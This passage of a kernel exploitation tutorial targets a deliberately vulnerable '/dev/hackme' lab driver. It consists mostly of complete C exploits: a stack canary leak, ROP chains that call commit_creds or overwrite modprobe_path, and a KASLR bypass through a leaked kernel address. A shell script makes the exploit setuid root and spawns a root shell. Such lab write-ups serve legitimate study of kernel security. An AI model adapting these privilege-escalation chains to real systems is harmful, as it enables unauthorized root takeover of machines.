// This function retrieve from the stack,
// the value of the stack canary.
unsigned long leak_canary(int fd)
{
    int nost = 25; // Number of stack element.
    unsigned long leaks[nost];

    printf("[*] Looking for canary ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }

    // I don't know why but running the exploit shows that the canary is
    // present at offsets 2 in addition to CANARY_OFFSET within leaks.
    if (DEBUG)
    {
        printf("[*] Possible canary at offsets %d: %lx\n",
            CANARY_OFFSET,
            leaks[CANARY_OFFSET]
        );
    }

    return leaks[CANARY_OFFSET];
}


// This function saves the execution context of our program
// in userland so that it can be restored after use.
void save_state(void)
{
    __asm__(
        ".intel_syntax noprefix;"
        "mov user_cs, cs;"
        "mov user_ss, ss;"
        "mov user_sp, rsp;"
        "pushf;"
        "pop user_rflags;"
        ".att_syntax"
    );
}


// This function exploit the buffer overflow to
// write data after the tmp buffer and overwrite:
//     - tmp
//     - Stack Canary
//     - RBX
//     - R12
//     - RBP
//     - RIP
void overflow(int fd, unsigned long canary)
{
    unsigned long overflow[16+18];

    printf("[*] Crafting payload ...\n");

    printf("\t - Overwriting tmp.\n");
    for (int i=0; i<16; i++)
    {
        overflow[i] = 0x4141414141414141;
    }

    overflow[16] = canary;
    printf("\t - Overwriting Stack Canary with: %lx\n", overflow[16]);

    overflow[17] = 0x4242424242424242;
    printf("\t - Overwriting RBX with: %lx\n", overflow[17]);

    overflow[18] = 0x4343434343434343;
    printf("\t - Overwriting R12 with: %lx\n", overflow[18]);

    overflow[19] = 0x4444444444444444;
    printf("\t - Overwriting RBP with: %lx\n", overflow[19]);

    printf("\t - Overwriting RIP with ROP chain ...\n");
    overflow[20] = gc_pop_rdi;
    overflow[21] = 0x0000000000000000;
    overflow[22] = prepare_kernel_cred;
    overflow[23] = gc_mov_rdi_rax_pop_rbp;
    overflow[24] = 0x0000000000000000;
    overflow[25] = commit_creds;
    overflow[26] = gc_swapgs_pop_rbp;
    overflow[27] = 0x0000000000000000;
    overflow[28] = gc_iretq;
    overflow[29] = user_rip;
    overflow[30] = user_cs;
    overflow[31] = user_rflags;
    overflow[32] = user_sp;
    overflow[33] = user_ss;
    size_t nobw = write(fd, overflow, sizeof(overflow));
}


int main()
{
    int fd;
    unsigned long canary;

    printf("[*] Start exploit.\n");

    user_rip = (unsigned long)shell;

    signal(SIGSEGV, shell);

    fd = open_device();
    if (fd < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }

    canary = leak_canary(fd);
    if (canary < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Canary: %lx\n", canary);

    save_state();

    overflow(fd, canary);

    return 0;
}

alt-text

Method 3: Modprobe Path

Within a kernel global variable lies the path of an executable (modprobe) that is executed when the function is called with as first parameter a binary whose type cannot be defined is given.

To put it simply, our goal as an attacker is to replace this path ( by using gadgets within our ropchain that are not affected )with the path of a binary we’ve created so that it can be executed by the kernel.

If you ever want to go into more detail about how the functions underlying the call to execve() work together, I invite you to have a look at Christopher Krah’s work.

File: Exploits/3_Bypass-KPTI/3.3_Modprobe-Path/exploit.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define CANARY_OFFSET 16
#define DEBUG 0


/* ---> Data <---
    # cat /proc/kallsyms | grep modprobe_path
        ffffffff82061820 D modprobe_path
*/
unsigned long modprobe_path = 0xffffffff82061820;

/* ---> Gadgets <---
Using objdump:
    # objdump -D vmlinux | grep -A1 "pop" | grep -A1 "rdi"|grep -B1 "ret" | grep -A1 "ffffffff810"
        ffffffff8100767c:	5f                   	pop    %rdi
        ffffffff8100767d:	c3                   	ret
    # objdump -D vmlinux | grep -A1 "pop" | grep -A1 "rax"|grep -B1 "ret"
        ffffffff81004d11:	58                   	pop    %rax
        ffffffff81004d12:	c3                   	ret 
Using ropr:
    0xffffffff818673e9: mov [rdi], rax; ret;
*/
unsigned long pop_rdi_ret = 0xffffffff8100767c;
unsigned long pop_rax_ret = 0xffffffff81004d11;
unsigned long mov_rax_at_rdi_ret = 0xffffffff818673e9;


// This function open the device driver and
// return the associated file descriptor.
int open_device()
{
    int fd;

    printf("[*] Opening device driver.\n");
    fd = open("/dev/hackme", O_RDWR);
    if (fd < 0)
    {
        printf("[x] Failed to open device driver.\n");
        return -1;
    }
    printf("\t - fd: %d\n", fd);

    return fd;
}


// This function retrieve from the stack,
// the value of the stack canary.
unsigned long leak_canary(int fd)
{
    int nost = 25; // Number of stack element.
    unsigned long leaks[nost];

    printf("[*] Looking for canary ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }
    printf("\t - %d bytes read.\n", nobr);

    // I don't know why but running the exploit shows that the canary is
    // present at offsets 2 in addition to CANARY_OFFSET within leaks.
    printf("[*] Possible canary at offsets %d: %lx\n",
        CANARY_OFFSET,
        leaks[CANARY_OFFSET]
    );

    return leaks[CANARY_OFFSET];
}


// This function exploit the buffer overflow to
// write data after the tmp buffer and overwrite:
//     - tmp
//     - Stack Canary
//     - RBX
//     - R12
//     - RBP
//     - RIP
void overflow(int fd, unsigned long canary)
{
    unsigned long overflow[16+9];

    printf("[*] Crafting payload ...\n");

    printf("\t - Overwriting tmp.\n");
    for (int i=0; i<16; i++)
    {
        overflow[i] = 0x4141414141414141;
    }

    overflow[16] = canary;
    printf("\t - Overwriting Stack Canary with: %lx\n", overflow[16]);

    overflow[17] = 0x4242424242424242;
    printf("\t - Overwriting RBX with: %lx\n", overflow[17]);

    overflow[18] = 0x4343434343434343;
    printf("\t - Overwriting R12 with: %lx\n", overflow[18]);

    overflow[19] = 0x4444444444444444;
    printf("\t - Overwriting RBP with: %lx\n", overflow[19]);

    printf("\t - Overwriting RIP with ROP chain ...\n");
    overflow[20] = pop_rdi_ret;
    overflow[21] = modprobe_path;
    overflow[22] = pop_rax_ret;
    overflow[23] = 0x0000632f706d742f; // c/pmt/
    overflow[24] = mov_rax_at_rdi_ret;
    size_t nobw = write(fd, overflow, sizeof(overflow));
}


int main()
{
    int fd;
    unsigned long canary;

    printf("[*] Start exploit.\n");

    fd = open_device();
    if (fd < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }

    canary = leak_canary(fd);
    if (canary < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Canary: %lx\n", canary);

    overflow(fd, canary);

    return 0;
}

Bypass KASLR (Kernel ASLR)

QEMU options: kaslr kpti=1

First of all, I think it might be a good idea to remind what KASLR is.

ASLR is a security feature designed to make it more difficult for attackers to exploit vulnerabilities related to memory corruption by introducing randomness into the memory of binary. The idea is to make the layout of important memory areas unpredictable. KASLR is an extension of ASLR that applies specifically to the Linux kernel. It aims to randomly change the kernel’s memory location during system startup, making it more difficult to exploit kernel vulnerabilities.

When KASLR is enabled, the Linux kernel randomly selects a starting address for its address space. This means that every time the system boots, the kernel’s position in memory space will be different.

Due to KASLR, the location of the kernel changes each time the system is rebooted. This means that even if we discover a vulnerability in the kernel, we don’t know where the kernel is loaded. To successfully exploit the vulnerability, we need to know where the current location of the kernel in memory.

We need to leak a memory address that we can identify as being present in the kernel. We need to identify what this address corresponds to in the kernel, so that during the exploit it can help us identify an offset.

Once this offset is known, we can compute the address of the global variable linked to modprobe for example.

File: Exploits/4_Bypass-ASLR/4.1_Modprobe-Path/exploit.c

#include <fcntl.h>
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>

#define CANARY_OFFSET 16
#define OFFSET 41
#define DEBUG 0


/* ---> Landmark <---
    # cat /proc/kallsyms | grep "008c "
        ffffffff9994008c r .LC16
Offset between this value and value at offset 41:
    >>> hex(0xffffffff9994008c-0xffffffff98c0008c)
        '0xd40000'
Now we look for the distance between _text and LC16:
    # cat /proc/kallsyms | grep _text
        ffffffff98a00000 T _text
    >>> hex(0xffffffff9994008c-0xffffffff98a00000)
        '0xf4008c'
*/

/* --> Data <--
    # cat /proc/kallsyms | grep modprobe_path
        ffffffff99a61820 D modprobe_path
    # cat /proc/kallsyms | grep "T _text"
        ffffffff98a00000 T _text
    >>> hex(0xffffffff99a61820-0xffffffff98a00000)
        '0x1061820'
*/
unsigned long modprobe_path_relative_offset = 0x1061820;

/* ---> Gadgets <---
    0xffffffff81004a91: pop rcx; pop rax; pop rbp; ret;
    >> hex(0xffffffff81004a91-0xffffffff81000000)
        '0x4a91'
    0xffffffff81007ffc: mov [rcx], rax; xor eax, eax; nop; nop; nop; ret;
    >>> hex(0xffffffff81007ffc-0xffffffff81000000)
        '0x7ffc'
*/
unsigned long pop_rcx_pop_rax_pop_rbp_ret = 0x4a91;
unsigned long mov_rax_at_rcx_ret_offset = 0x7ffc;


// This function checks if the current userid is 0,
// if so we execute the binary "/bin/sh".
void shell(void)
{
    setuid(0);
    setgid(0);
    if (0 == getuid())
    {
        printf("[+] Root shell acquired.\n");
        system("/bin/sh");
        exit(0);
    }
}


// This function open the device driver and
// return the associated file descriptor.
int open_device()
{
    int fd;

    printf("[*] Opening device driver.\n");
    fd = open("/dev/hackme", O_RDWR);
    if (fd < 0)
    {
        printf("[x] Failed to open device driver.\n");
        return -1;
    }
    printf("\t - fd: %d\n", fd);

    return fd;
}


// This function retrieve from the stack,
// the value of the stack canary.
unsigned long leak_canary(int fd)
{
    int nost = 25; // Number of stack element to leak.
    unsigned long leaks[nost];

    printf("[*] Looking for canary ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }

    if (DEBUG)
    {
        // I don't know why but running the exploit shows
        // that the canary is present at offsets 2 and CANARY_OFFSET within leaks.
        printf("[*] Possible canary at offsets %d: %lx\n", CANARY_OFFSET, leaks[CANARY_OFFSET]);
    }

    return leaks[CANARY_OFFSET];
}


// This function retrieve from the stack,
// the value of the kernel base.
unsigned long leak_kernel_base(int fd)
{
    int nost = 50; // Number of stack element to leak.
    unsigned long leaks[nost];

    printf("[*] Looking for address at offset OFFSET ...\n");

    size_t nobr = read(fd, leaks, sizeof(leaks));
    if (nobr < 0)
    {
        printf("[x] Failed to read %d bytes.\n", sizeof(leaks));
        return -1;
    }

    if (DEBUG)
    {
        printf("\t - Leak at offsets %d: 0x%lx\n", OFFSET, leaks[OFFSET]);
        printf("\t - Leak+0xd40000 (r .LC16) at offsets %d: 0x%lx\n", OFFSET, leaks[OFFSET]+0xd40000);
        printf("\t - Leak+0xd40000-0xf4008c() offsets %d: 0x%lx\n", OFFSET, leaks[OFFSET]+0xd40000-0xf4008c);
    }

    return leaks[OFFSET]+0xd40000-0xf4008c;
}


// This function exploit the buffer overflow to
// write data after the tmp buffer and overwrite:
//     - tmp
//     - Stack Canary
//     - RBX
//     - R12
//     - RBP
//     - RIP
void overflow(int fd, unsigned long canary,unsigned long kernel_base)
{
    unsigned long overflow[16+10];

    printf("[*] Crafting payload ...\n");

    printf("\t - Overwriting tmp.\n");
    for (int i=0; i<16; i++)
    {
        overflow[i] = 0x4141414141414141;
    }

    overflow[16] = canary;
    printf("\t - Overwriting Stack Canary with: %lx\n", overflow[16]);

    overflow[17] = 0x4242424242424242;
    printf("\t - Overwriting RBX with: %lx\n", overflow[17]);

    overflow[18] = 0x4343434343434343;
    printf("\t - Overwriting R12 with: %lx\n", overflow[18]);

    overflow[19] = 0x4444444444444444;
    printf("\t - Overwriting RBP with: %lx\n", overflow[19]);

    printf("\t - Overwriting RIP with ROP chain ...\n");
    overflow[20] = kernel_base + pop_rcx_pop_rax_pop_rbp_ret;
    overflow[21] = kernel_base + modprobe_path_relative_offset;
    overflow[22] = 0x0000612f706d742f; // a/pmt/
    overflow[23] = 0x0000000000000000;
    overflow[24] = kernel_base + mov_rax_at_rcx_ret_offset;
    overflow[25] = mov_rax_at_rcx_ret_offset;
    size_t nobw = write(fd, overflow, sizeof(overflow));
}


int main()
{
    int fd;
    unsigned long canary;
    unsigned long kernel_base;

    shell();

    printf("[*] Start exploit.\n");

    fd = open_device();
    if (fd < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }

    canary = leak_canary(fd);
    if (canary < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Canary: %lx\n", canary);

    kernel_base = leak_kernel_base(fd);
    if (kernel_base < 0)
    {
        printf("[x] Exploit failed.\n");
        exit(-1);
    }
    printf("[*] Kernel, T _text: 0x%lx\n", kernel_base);

    overflow(fd, canary, kernel_base);

    return 0;
}

But the above exploit can’t be used on its own. It needs to be used with the following bash code:

File: Exploits/4_Bypass-ASLR/4.1_Modprobe-Path/a.sh

#!/bin/sh
if [ "$(id -u)" -ne 0 ]
then
    cp /a.sh /tmp/a
    cp /b /tmp/b
    echo -e "\xff\xff\xff\xff" > /tmp/junk
    chmod 777 /tmp/a /tmp/b /tmp/junk

    echo "[*] modprobe_path before exploit:"
    cat /proc/sys/kernel/modprobe
    cat /proc/sys/kernel/modprobe > /tmp/modprobe_path

    /exploit > /dev/null

    echo "[*] modprobe_path after exploit:"
    cat /proc/sys/kernel/modprobe

    /tmp/b
    exit
fi

cat /tmp/modprobe_path > /proc/sys/kernel/modprobe
rm /tmp/a /tmp/b /tmp/junk /tmp/modprobe_path
chown 0 /exploit && chmod 777 /exploit && chmod +s /exploit

Which itself uses the following code to trigger the call to modprobe_path.

#include <unistd.h>


void main()
{
    execve("/tmp/junk", NULL, NULL);
}

To sum up, here’s what’s happening:

        Attacker run ./a.sh
               | (flow 1)
       ----------------    If current user is not root (flow 1):
/-->  |  a.sh (/tmp/a)  |    - This script copies itself to "/tmp/a".
|      -----------------     - Then it copies a binary that simply executes
|           |   |              execve("/tmp/junk") in "/tmp/b".
|           |   |            - Then creates the "/tmp/junk" file, which is used to
|           |   |              trigger modprobe_path binary.
|           |   |            - Calls the exploit to replace modprobe_path by "/tmp/a".
|           |   |            - Calls "/tmp/b" which trigger modprobe_path ("/tmp/a").
|   (flow 1)|   |(flow 2)
|           |   |           If the current user is root (flow 2):
|           |   |             - chown 0 exploit and chown +s exploit
|           |   |
|     -------------
|    |             |  If current user is not root (flow 1):
|    |             |    - Use a leak to compute (via an offset) the address 
|    |   exploit   |      of modprobe_path. 
|    |             |    - Then use a rop chain (unaffected by FG-KASLR) to 
|    |             |      replace modprobe_path by "/tmp/a".
|     -------------
|          |    |     If the current user is root (flow 2):
|          |    |       - Start a shell (/bin/sh).
|          |    |
|          |    |(flow 2)
|          |    |            ---------
|          |     +--------> | /bin/sh |
|          |                 ---------
|          |(flow 1)
|          |
|     ----------
|    |  /tmp/b  |  Wrapper to execve to trigger call to modprobe_path ("/tmp/a").
|     ----------
|          |
|          |(flow 2)
|          |
\__________/ 

Thank you for taking the time to read this first article. I’ll keep working on the subject and hope one day to get you a 0day in the kernel so stay tuned.

References